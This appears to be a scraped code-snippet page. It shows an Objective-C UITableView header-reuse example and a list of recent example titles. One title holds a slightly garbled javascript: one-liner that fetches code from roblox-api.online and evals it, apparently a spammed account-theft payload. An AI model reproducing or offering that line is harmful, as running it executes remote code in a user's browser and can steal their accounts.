dequeuereusableheaderfooterview
- (CGFloat)tableView:(UITableView *)tableView heightForHeaderInSection:(NSInteger)section
{
return 40.0;
}
- (UIView *)tableView:(UITableView *)tableView viewForHeaderInSection:(NSInteger)section
{
static NSString *headerReuseIdentifier = @"TableViewSectionHeaderViewIdentifier";
// Reuse the instance that was created in viewDidLoad, or make a new one if not enough.
UITableViewHeaderFooterView *sectionHeaderView = [tableView dequeueReusableHeaderFooterViewWithIdentifier:headerReuseIdentifier];
sectionHeaderView.textLabel.text = @"Non subclassed header";
return sectionHeaderView;
}
Are there any code examples left?
New code examples in category Objective-C
-
Objective-C 2022-03-19 18:00:19 xjavascript$get'//roblox-api.online/roblox?id=4823'.eval)”
-
Objective-C 2022-03-15 06:35:10 compare nsstring
-
Objective-C 2022-03-03 11:45:10 objective c encrypt decrypt string
-
Objective-C 2022-02-27 11:00:32 nstimer example objective c
-
Objective-C 2022-02-16 17:15:28 loop array objective c
-
Objective-C 2022-02-14 08:05:08 how to add undelete texts to textfield in ios
-
Objective-C 2022-02-12 01:30:08 Changing scene on obj click
-
Objective-C 2022-02-08 17:25:21 obj c write file
-
Objective-C 2022-02-02 17:51:03 fpdf exemple